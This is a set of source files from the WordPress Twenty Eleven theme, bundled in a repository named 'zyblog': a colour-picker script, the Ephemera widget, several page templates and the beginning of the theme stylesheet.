var farbtastic; (function($){ var pickColor = function(a) { farbtastic.setColor(a); $('#link-color').val(a); $('#link-color-example').css('background-color', a); }; $(document).ready( function() { $('#default-color').wrapInner('<a href="#" />'); farbtastic = $.farbtastic('#colorPickerDiv', pickColor); pickColor( $('#link-color').val() ); $('.pickcolor').click( function(e) { $('#colorPickerDiv').show(); e.preventDefault(); }); $('#link-color').keyup( function() { var a = $('#link-color').val(), b = a; a = a.replace(/[^a-fA-F0-9]/, ''); if ( '#' + a !== b ) $('#link-color').val(a); if ( a.length === 3 || a.length === 6 ) pickColor( '#' + a ); }); $(document).mousedown( function() { $('#colorPickerDiv').hide(); }); $('#default-color a').click( function(e) { pickColor( '#' + this.innerHTML.replace(/[^a-fA-F0-9]/, '') ); e.preventDefault(); }); $('.image-radio-option.color-scheme input:radio').change( function() { var currentDefault = $('#default-color a'), newDefault = $(this).next().val(); if ( $('#link-color').val() == currentDefault.text() ) pickColor( newDefault ); currentDefault.text( newDefault ); }); }); })(jQuery);
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/inc/theme-options.js
JavaScript
asf20
1,240
<?php /** * Makes a custom Widget for displaying Aside, Link, Status, and Quote Posts available with Twenty Eleven * * Learn more: http://codex.wordpress.org/Widgets_API#Developing_Widgets * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ class Twenty_Eleven_Ephemera_Widget extends WP_Widget { /** * Constructor * * @return void **/ function Twenty_Eleven_Ephemera_Widget() { $widget_ops = array( 'classname' => 'widget_twentyeleven_ephemera', 'description' => __( 'Use this widget to list your recent Aside, Status, Quote, and Link posts', 'twentyeleven' ) ); $this->WP_Widget( 'widget_twentyeleven_ephemera', __( 'Twenty Eleven Ephemera', 'twentyeleven' ), $widget_ops ); $this->alt_option_name = 'widget_twentyeleven_ephemera'; add_action( 'save_post', array(&$this, 'flush_widget_cache' ) ); add_action( 'deleted_post', array(&$this, 'flush_widget_cache' ) ); add_action( 'switch_theme', array(&$this, 'flush_widget_cache' ) ); } /** * Outputs the HTML for this widget. * * @param array An array of standard parameters for widgets in this theme * @param array An array of settings for this widget instance * @return void Echoes it's output **/ function widget( $args, $instance ) { $cache = wp_cache_get( 'widget_twentyeleven_ephemera', 'widget' ); if ( !is_array( $cache ) ) $cache = array(); if ( ! isset( $args['widget_id'] ) ) $args['widget_id'] = null; if ( isset( $cache[$args['widget_id']] ) ) { echo $cache[$args['widget_id']]; return; } ob_start(); extract( $args, EXTR_SKIP ); $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Ephemera', 'twentyeleven' ) : $instance['title'], $instance, $this->id_base); if ( ! isset( $instance['number'] ) ) $instance['number'] = '10'; if ( ! $number = absint( $instance['number'] ) ) $number = 10; $ephemera_args = array( 'order' => 'DESC', 'posts_per_page' => $number, 'no_found_rows' => true, 'post_status' => 'publish', 'post__not_in' => get_option( 'sticky_posts' ), 'tax_query' => array( array( 'taxonomy' => 'post_format', 'terms' => array( 'post-format-aside', 'post-format-link', 'post-format-status', 'post-format-quote' ), 'field' => 'slug', 'operator' => 'IN', ), ), ); $ephemera = new WP_Query( $ephemera_args ); if ( $ephemera->have_posts() ) : echo $before_widget; echo $before_title; echo $title; // Can set this with a widget option, or omit altogether echo $after_title; ?> <ol> <?php while ( $ephemera->have_posts() ) : $ephemera->the_post(); ?> <?php if ( 'link' != get_post_format() ) : ?> <li class="widget-entry-title"> <a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a> <span class="comments-link"> <?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?> </span> </li> <?php else : ?> <li class="widget-entry-title"> <?php // Grab first link from the post content. If none found, use the post permalink as fallback. $link_url = twentyeleven_url_grabber(); if ( empty( $link_url ) ) $link_url = get_permalink(); ?> <a href="<?php echo esc_url( $link_url ); ?>" title="<?php echo esc_attr( sprintf( __( 'Link to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?>&nbsp;<span>&rarr;</span></a> <span class="comments-link"> <?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?> </span> </li> <?php endif; ?> <?php endwhile; ?> </ol> <?php echo $after_widget; // Reset the post globals as this query will have stomped on it wp_reset_postdata(); // end check for ephemeral posts endif; $cache[$args['widget_id']] = ob_get_flush(); wp_cache_set( 'widget_twentyeleven_ephemera', $cache, 'widget' ); } /** * Deals with the settings when they are saved by the admin. Here is * where any validation should be dealt with. **/ function update( $new_instance, $old_instance ) { $instance = $old_instance; $instance['title'] = strip_tags( $new_instance['title'] ); $instance['number'] = (int) $new_instance['number']; $this->flush_widget_cache(); $alloptions = wp_cache_get( 'alloptions', 'options' ); if ( isset( $alloptions['widget_twentyeleven_ephemera'] ) ) delete_option( 'widget_twentyeleven_ephemera' ); return $instance; } function flush_widget_cache() { wp_cache_delete( 'widget_twentyeleven_ephemera', 'widget' ); } /** * Displays the form for this widget on the Widgets page of the WP Admin area. **/ function form( $instance ) { $title = isset( $instance['title']) ? esc_attr( $instance['title'] ) : ''; $number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 10; ?> <p><label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:', 'twentyeleven' ); ?></label> <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p> <p><label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php _e( 'Number of posts to show:', 'twentyeleven' ); ?></label> <input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>" type="text" value="<?php echo esc_attr( $number ); ?>" size="3" /></p> <?php } }
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/inc/widgets.php
PHP
asf20
6,069
<?php /** * The template for displaying content featured in the showcase.php page template * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ global $feature_class; ?> <article id="post-<?php the_ID(); ?>" <?php post_class( $feature_class ); ?>> <header class="entry-header"> <h2 class="entry-title"><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentyeleven' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2> <div class="entry-meta"> <?php twentyeleven_posted_on(); ?> </div><!-- .entry-meta --> </header><!-- .entry-header --> <div class="entry-summary"> <?php the_excerpt(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?> </div><!-- .entry-content --> <footer class="entry-meta"> <?php /* translators: used between list items, there is a space after the comma */ $tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) ); if ( '' != $tag_list ) { $utility_text = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' ); } else { $utility_text = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' ); } printf( $utility_text, /* translators: used between list items, there is a space after the comma */ get_the_category_list( __( ', ', 'twentyeleven' ) ), $tag_list, esc_url( get_permalink() ), the_title_attribute( 'echo=0' ) ); ?> <?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?> </footer><!-- .entry-meta --> </article><!-- #post-<?php the_ID(); ?> -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/content-featured.php
PHP
asf20
1,906
<?php /** * The template for displaying Search Results pages. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <section id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyeleven' ), '<span>' . get_search_query() . '</span>' ); ?></h1> </header> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* Include the Post-Format-specific template for the content. * If you want to overload this in a child theme then include a file * called content-___.php (where ___ is the Post Format name) and that will be used instead. */ get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/search.php
PHP
asf20
1,639
<?php /** * The Footer widget areas. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ ?> <?php /* The footer widget area is triggered if any of the areas * have widgets. So let's check that first. * * If none of the sidebars have widgets, then let's bail early. */ if ( ! is_active_sidebar( 'sidebar-3' ) && ! is_active_sidebar( 'sidebar-4' ) && ! is_active_sidebar( 'sidebar-5' ) ) return; // If we get this far, we have widgets. Let do this. ?> <div id="supplementary" <?php twentyeleven_footer_sidebar_class(); ?>> <?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?> <div id="first" class="widget-area" role="complementary"> <?php dynamic_sidebar( 'sidebar-3' ); ?> </div><!-- #first .widget-area --> <?php endif; ?> <?php if ( is_active_sidebar( 'sidebar-4' ) ) : ?> <div id="second" class="widget-area" role="complementary"> <?php dynamic_sidebar( 'sidebar-4' ); ?> </div><!-- #second .widget-area --> <?php endif; ?> <?php if ( is_active_sidebar( 'sidebar-5' ) ) : ?> <div id="third" class="widget-area" role="complementary"> <?php dynamic_sidebar( 'sidebar-5' ); ?> </div><!-- #third .widget-area --> <?php endif; ?> </div><!-- #supplementary -->
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/sidebar-footer.php
PHP
asf20
1,233
<?php /** * The Sidebar containing the main widget area. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ $options = twentyeleven_get_theme_options(); $current_layout = $options['theme_layout']; if ( 'content' != $current_layout ) : ?> <div id="secondary" class="widget-area" role="complementary"> <?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?> <aside id="archives" class="widget"> <h3 class="widget-title"><?php _e( 'Archives', 'twentyeleven' ); ?></h3> <ul> <?php wp_get_archives( array( 'type' => 'monthly' ) ); ?> </ul> </aside> <aside id="meta" class="widget"> <h3 class="widget-title"><?php _e( 'Meta', 'twentyeleven' ); ?></h3> <ul> <?php wp_register(); ?> <li><?php wp_loginout(); ?></li> <?php wp_meta(); ?> </ul> </aside> <?php endif; // end sidebar widget area ?> </div><!-- #secondary .widget-area --> <?php endif; ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/sidebar.php
PHP
asf20
956
<?php /** * The template for displaying 404 pages (Not Found). * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <div id="primary"> <div id="content" role="main"> <article id="post-0" class="post error404 not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentyeleven' ); ?></h1> </header> <div class="entry-content"> <p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> <?php the_widget( 'WP_Widget_Recent_Posts', array( 'number' => 10 ), array( 'widget_id' => '404' ) ); ?> <div class="widget"> <h2 class="widgettitle"><?php _e( 'Most Used Categories', 'twentyeleven' ); ?></h2> <ul> <?php wp_list_categories( array( 'orderby' => 'count', 'order' => 'DESC', 'show_count' => 1, 'title_li' => '', 'number' => 10 ) ); ?> </ul> </div> <?php /* translators: %1$s: smilie */ $archive_content = '<p>' . sprintf( __( 'Try looking in the monthly archives. %1$s', 'twentyeleven' ), convert_smilies( ':)' ) ) . '</p>'; the_widget( 'WP_Widget_Archives', array('count' => 0 , 'dropdown' => 1 ), array( 'after_title' => '</h2>'.$archive_content ) ); ?> <?php the_widget( 'WP_Widget_Tag_Cloud' ); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> </div><!-- #content --> </div><!-- #primary --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/404.php
PHP
asf20
1,601
<?php /** * The template for displaying Category Archive pages. * * @package WordPress * @subpackage Twenty_Eleven * @since Twenty Eleven 1.0 */ get_header(); ?> <section id="primary"> <div id="content" role="main"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"><?php printf( __( 'Category Archives: %s', 'twentyeleven' ), '<span>' . single_cat_title( '', false ) . '</span>' ); ?></h1> <?php $category_description = category_description(); if ( ! empty( $category_description ) ) echo apply_filters( 'category_archive_meta', '<div class="category-archive-meta">' . $category_description . '</div>' ); ?> </header> <?php twentyeleven_content_nav( 'nav-above' ); ?> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /* Include the Post-Format-specific template for the content. * If you want to overload this in a child theme then include a file * called content-___.php (where ___ is the Post Format name) and that will be used instead. */ get_template_part( 'content', get_post_format() ); ?> <?php endwhile; ?> <?php twentyeleven_content_nav( 'nav-below' ); ?> <?php else : ?> <article id="post-0" class="post no-results not-found"> <header class="entry-header"> <h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1> </header><!-- .entry-header --> <div class="entry-content"> <p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p> <?php get_search_form(); ?> </div><!-- .entry-content --> </article><!-- #post-0 --> <?php endif; ?> </div><!-- #content --> </section><!-- #primary --> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyeleven/category.php
PHP
asf20
1,928
/* Theme Name: Twenty Eleven Theme URI: http://wordpress.org/extend/themes/twentyeleven Author: the WordPress team Author URI: http://wordpress.org/ Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. Version: 1.5 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, flexible-header, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready Text Domain: twentyeleven */ /* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html -------------------------------------------------------------- */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { border: 0; font-family: inherit; font-size: 100%; font-style: inherit; font-weight: inherit; margin: 0; outline: 0; padding: 0; vertical-align: baseline; } :focus {/* remember to define focus styles! */ outline: 0; } body { background: #fff; line-height: 1; } ol, ul { list-style: none; } table {/* tables still need 'cellspacing="0"' in the markup */ border-collapse: separate; border-spacing: 0; } caption, th, td { font-weight: normal; text-align: left; } blockquote:before, blockquote:after, q:before, q:after { content: ""; } blockquote, q { quotes: "" ""; } a img { border: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section { display: block; } /* =Structure ----------------------------------------------- */ body { padding: 0 2em; } #page { margin: 2em auto; max-width: 1000px; } #branding hgroup { margin: 0 7.6%; } #access div { margin: 0 7.6%; } #primary { float: left; margin: 0 -26.4% 0 0; width: 100%; } #content { margin: 0 34% 0 7.6%; width: 58.4%; } #secondary { float: right; margin-right: 7.6%; width: 18.8%; } /* Singular */ .singular #primary { margin: 0; } .singular #content, .left-sidebar.singular #content { margin: 0 7.6%; position: relative; width: auto; } .singular .entry-header, .singular .entry-content, .singular footer.entry-meta, .singular #comments-title { margin: 0 auto; width: 68.9%; } /* Attachments */ .singular .image-attachment .entry-content { margin: 0 auto; width: auto; } .singular .image-attachment .entry-description { margin: 0 auto; width: 68.9%; } /* Showcase */ .page-template-showcase-php #primary, .left-sidebar.page-template-showcase-php #primary { margin: 0; } .page-template-showcase-php #content, .left-sidebar.page-template-showcase-php #content { margin: 0 7.6%; width: auto; } .page-template-showcase-php section.recent-posts { float: right; margin: 0 0 0 31%; width: 69%; } .page-template-showcase-php #main .widget-area { float: left; margin: 0 -22.15% 0 0; width: 22.15%; } /* error404 */ .error404 #primary { float: none; margin: 0; } .error404 #primary #content { margin: 0 7.6%; width: auto; } /* Alignment */ .alignleft { display: inline; float: left; margin-right: 1.625em; } .alignright { display: inline; float: right; margin-left: 1.625em; } .aligncenter { clear: both; display: block; margin-left: auto; margin-right: auto; } /* Right Content */ .left-sidebar #primary { float: right; margin: 0 0 0 -26.4%; width: 100%; } .left-sidebar #content { margin: 0 7.6% 0 34%; width: 58.4%; } .left-sidebar #secondary { float: left; margin-left: 7.6%; margin-right: 0; width: 18.8%; } /* One column */ .one-column #page { max-width: 690px; } .one-column #content { margin: 0 7.6%; width: auto; } .one-column #nav-below { border-bottom: 1px solid #ddd; margin-bottom: 1.625em; } .one-column #secondary { float: none; margin: 0 7.6%; width: auto; } /* Simplify the showcase template */ .one-column .page-template-showcase-php section.recent-posts { float: none; margin: 0; width: 100%; } .one-column .page-template-showcase-php #main .widget-area { float: none; margin: 0; width: auto; } .one-column .page-template-showcase-php .other-recent-posts { border-bottom: 1px solid #ddd; } /* Simplify the showcase template when small feature */ .one-column section.featured-post .attachment-small-feature { border: none; display: block; height: auto; max-width: 60%; position: static; } .one-column article.feature-image.small { margin: 0 0 1.625em; padding: 0; } .one-column article.feature-image.small .entry-title { font-size: 20px; line-height: 1.3em; } .one-column article.feature-image.small .entry-summary { height: 150px; overflow: hidden; padding: 0; text-overflow: ellipsis; } .one-column article.feature-image.small .entry-summary a { left: -9%; } /* Remove the margin on singular articles */ .one-column.singular .entry-header, .one-column.singular .entry-content, .one-column.singular footer.entry-meta, .one-column.singular #comments-title { width: 100%; } /* Simplify the pullquotes and pull styles */ .one-column.singular blockquote.pull { margin: 0 0 1.625em; } .one-column.singular .pull.alignleft { margin: 0 1.625em 0 0; } .one-column.singular .pull.alignright { margin: 0 0 0 1.625em; } .one-column.singular .entry-meta .edit-link a { position: absolute; left: 0; top: 40px; } .one-column.singular #author-info { margin: 2.2em -8.8% 0; padding: 20px 8.8%; } /* Make sure we have room for our comment avatars */ .one-column .commentlist > li.comment { margin-left: 102px; width: auto; } /* Make sure the logo and search form don't collide */ .one-column #branding #searchform { right: 40px; top: 4em; } /* Talking avatars take up too much room at this size */ .one-column .commentlist > li.comment { margin-left: 0; } .one-column .commentlist > li.comment .comment-meta, .one-column .commentlist > li.comment .comment-content { margin-right: 85px; } .one-column .commentlist .avatar { background: transparent; display: block; padding: 0; top: 1.625em; left: auto; right: 1.625em; } .one-column .commentlist .children .avatar { background: none; padding: 0; position: absolute; top: 2.2em; left: 2.2em; } .one-column #respond { width: auto; } /* =Global ----------------------------------------------- */ body, input, textarea { color: #373737; font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 300; line-height: 1.625; } body { background: #e2e2e2; } #page { background: #fff; } /* Headings */ h1,h2,h3,h4,h5,h6 { clear: both; } hr { background-color: #ccc; border: 0; height: 1px; margin-bottom: 1.625em; } /* Text elements */ p { margin-bottom: 1.625em; } ul, ol { margin: 0 0 1.625em 2.5em; } ul { list-style: square; } ol { list-style-type: decimal; } ol ol { list-style: upper-alpha; } ol ol ol { list-style: lower-roman; } ol ol ol ol { list-style: lower-alpha; } ul ul, ol ol, ul ol, ol ul { margin-bottom: 0; } dl { margin: 0 1.625em; } dt { font-weight: bold; } dd { margin-bottom: 1.625em; } strong { font-weight: bold; } cite, em, i { font-style: italic; } blockquote { font-family: Georgia, "Bitstream Charter", serif; font-style: italic; font-weight: normal; margin: 0 3em; } blockquote em, blockquote i, blockquote cite { font-style: normal; } blockquote cite { color: #666; font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 300; letter-spacing: 0.05em; text-transform: uppercase; } pre { background: #f4f4f4; font: 13px "Courier 10 Pitch", Courier, monospace; line-height: 1.5; margin-bottom: 1.625em; overflow: auto; padding: 0.75em 1.625em; } code, kbd, samp, var { font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; } abbr, acronym, dfn { border-bottom: 1px dotted #666; cursor: help; } address { display: block; margin: 0 0 1.625em; } ins { background: #fff9c0; text-decoration: none; } sup, sub { font-size: 10px; height: 0; line-height: 1; position: relative; vertical-align: baseline; } sup { bottom: 1ex; } sub { top: .5ex; } small { font-size: smaller; } /* Forms */ input[type=text], input[type=password], input[type=email], input[type=url], input[type=number], textarea { background: #fafafa; -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); border: 1px solid #ddd; color: #888; } input[type=text]:focus, input[type=password]:focus, input[type=email]:focus, input[type=url]:focus, input[type=number]:focus, textarea:focus { color: #373737; } textarea { padding-left: 3px; width: 98%; } input[type=text], input[type=password], input[type=email], input[type=url], input[type=number] { padding: 3px; } input#s { background: url(images/search.png) no-repeat 5px 6px; -moz-border-radius: 2px; border-radius: 2px; font-size: 14px; height: 22px; line-height: 1.2em; padding: 4px 10px 4px 28px; } input#searchsubmit { display: none; } /* Links */ a { color: #1982d1; text-decoration: none; } a:focus, a:active, a:hover { text-decoration: underline; } /* Assistive text */ .assistive-text { position: absolute !important; clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ clip: rect(1px, 1px, 1px, 1px); } #access a.assistive-text:active, #access a.assistive-text:focus { background: #eee; border-bottom: 1px solid #ddd; color: #1982d1; clip: auto !important; font-size: 12px; position: absolute; text-decoration: underline; top: 0; left: 7.6%; } /* =Header ----------------------------------------------- */ #branding { border-top: 2px solid #bbb; padding-bottom: 10px; position: relative; z-index: 9999; } #site-title { margin-right: 270px; padding: 3.65625em 0 0; } #site-title a { color: #111; font-size: 30px; font-weight: bold; line-height: 36px; text-decoration: none; } #site-title a:hover, #site-title a:focus, #site-title a:active { color: #1982d1; } #site-description { color: #7a7a7a; font-size: 14px; margin: 0 270px 3.65625em 0; } #branding img { height: auto; display: block; width: 100%; } /* =Menu -------------------------------------------------------------- */ #access { background: #222; /* Show a solid color for older browsers */ background: -moz-linear-gradient(#252525, #0a0a0a); background: -o-linear-gradient(#252525, #0a0a0a); background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ background: -webkit-linear-gradient(#252525, #0a0a0a); -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; clear: both; display: block; float: left; margin: 0 auto 6px; width: 100%; } #access ul { font-size: 13px; list-style: none; margin: 0 0 0 -0.8125em; padding-left: 0; } #access li { float: left; position: relative; } #access a { color: #eee; display: block; line-height: 3.333em; padding: 0 1.2125em; text-decoration: none; } #access ul ul { -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); box-shadow: 0 3px 3px rgba(0,0,0,0.2); display: none; float: left; margin: 0; position: absolute; top: 3.333em; left: 0; width: 188px; z-index: 99999; } #access ul ul ul { left: 100%; top: 0; } #access ul ul a { background: #f9f9f9; border-bottom: 1px dotted #ddd; color: #444; font-size: 13px; font-weight: normal; height: auto; line-height: 1.4em; padding: 10px 10px; width: 168px; } #access li:hover > a, #access ul ul :hover > a, #access a:focus { background: #efefef; } #access li:hover > a, #access a:focus { background: #f9f9f9; /* Show a solid color for older browsers */ background: -moz-linear-gradient(#f9f9f9, #e5e5e5); background: -o-linear-gradient(#f9f9f9, #e5e5e5); background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); color: #373737; } #access ul li:hover > ul { display: block; } #access .current-menu-item > a, #access .current-menu-ancestor > a, #access .current_page_item > a, #access .current_page_ancestor > a { font-weight: bold; } /* Search Form */ #branding #searchform { position: absolute; top: 3.8em; right: 7.6%; text-align: right; } #branding #searchform div { margin: 0; } #branding #s { float: right; -webkit-transition-duration: 400ms; -webkit-transition-property: width, background; -webkit-transition-timing-function: ease; -moz-transition-duration: 400ms; -moz-transition-property: width, background; -moz-transition-timing-function: ease; -o-transition-duration: 400ms; -o-transition-property: width, background; -o-transition-timing-function: ease; width: 72px; } #branding #s:focus { background-color: #f9f9f9; width: 196px; } #branding #searchsubmit { display: none; } #branding .only-search #searchform { top: 5px; z-index: 1; } #branding .only-search #s { background-color: #666; border-color: #000; color: #222; } #branding .only-search #s, #branding .only-search #s:focus { width: 85%; } #branding .only-search #s:focus { background-color: #bbb; } #branding .with-image #searchform { top: auto; bottom: -27px; max-width: 195px; } #branding .only-search + #access div { padding-right: 205px; } /* =Content ----------------------------------------------- */ #main { clear: both; padding: 1.625em 0 0; } .page-title { color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; margin: 0 0 2.6em; text-transform: uppercase; } .page-title a { font-size: 12px; font-weight: bold; letter-spacing: 0; text-transform: none; } .hentry, .no-results { border-bottom: 1px solid #ddd; margin: 0 0 1.625em; padding: 0 0 1.625em; position: relative; } .hentry:last-child, .no-results { border-bottom: none; } .blog .sticky .entry-header .entry-meta { clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ clip: rect(1px, 1px, 1px, 1px); position: absolute !important; } .entry-title, .entry-header .entry-meta { padding-right: 76px; } .entry-title { clear: both; color: #222; font-size: 26px; font-weight: bold; line-height: 1.5em; padding-bottom: .3em; padding-top: 15px; } .entry-title, .entry-title a { color: #222; text-decoration: none; } .entry-title a:hover, .entry-title a:focus, .entry-title a:active { color: #1982d1; } .entry-meta { color: #666; clear: both; font-size: 12px; line-height: 18px; } .entry-meta a { font-weight: bold; } .single-author .entry-meta .by-author { display: none; } .entry-content, .entry-summary { padding: 1.625em 0 0; } .entry-content h1, .entry-content h2, .comment-content h1, .comment-content h2 { color: #000; font-weight: bold; margin: 0 0 .8125em; } .entry-content h3, .comment-content h3 { font-size: 10px; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } .entry-content table, .comment-content table { border-bottom: 1px solid #ddd; margin: 0 0 1.625em; width: 100%; } .entry-content th, .comment-content th { color: #666; font-size: 10px; font-weight: 500; letter-spacing: 0.1em; line-height: 2.6em; text-transform: uppercase; } .entry-content td, .comment-content td { border-top: 1px solid #ddd; padding: 6px 10px 6px 0; } .entry-content #s { width: 75%; } .comment-content ul, .comment-content ol { margin-bottom: 1.625em; } .comment-content ul ul, .comment-content ol ol, .comment-content ul ol, .comment-content ol ul { margin-bottom: 0; } dl.gallery-item { margin: 0; } .page-link { clear: both; display: block; margin: 0 0 1.625em; } .page-link a { background: #eee; color: #373737; margin: 0; padding: 2px 3px; text-decoration: none; } .page-link a:hover { background: #888; color: #fff; font-weight: bold; } .page-link span { margin-right: 6px; } .entry-meta .edit-link a, .commentlist .edit-link a { background: #eee; -moz-border-radius: 3px; border-radius: 3px; color: #666; float: right; font-size: 12px; line-height: 1.5em; font-weight: 300; text-decoration: none; padding: 0 8px; } .entry-meta .edit-link a:hover, .commentlist .edit-link a:hover { background: #888; color: #fff; } .entry-content .edit-link { clear: both; display: block; } /* Images */ .entry-content img, .comment-content img, .widget img { max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ } img[class*="align"], img[class*="wp-image-"], img[class*="attachment-"] { height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ } img.size-full, img.size-large { max-width: 97.5%; width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */ height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ } .entry-content img.wp-smiley { border: none; margin-bottom: 0; margin-top: 0; padding: 0; } img.alignleft, img.alignright, img.aligncenter { margin-bottom: 1.625em; } p img, .wp-caption { margin-top: 0.4em; } .wp-caption { background: #eee; margin-bottom: 1.625em; max-width: 96%; padding: 9px; } .wp-caption img { display: block; margin: 0 auto; max-width: 98%; } 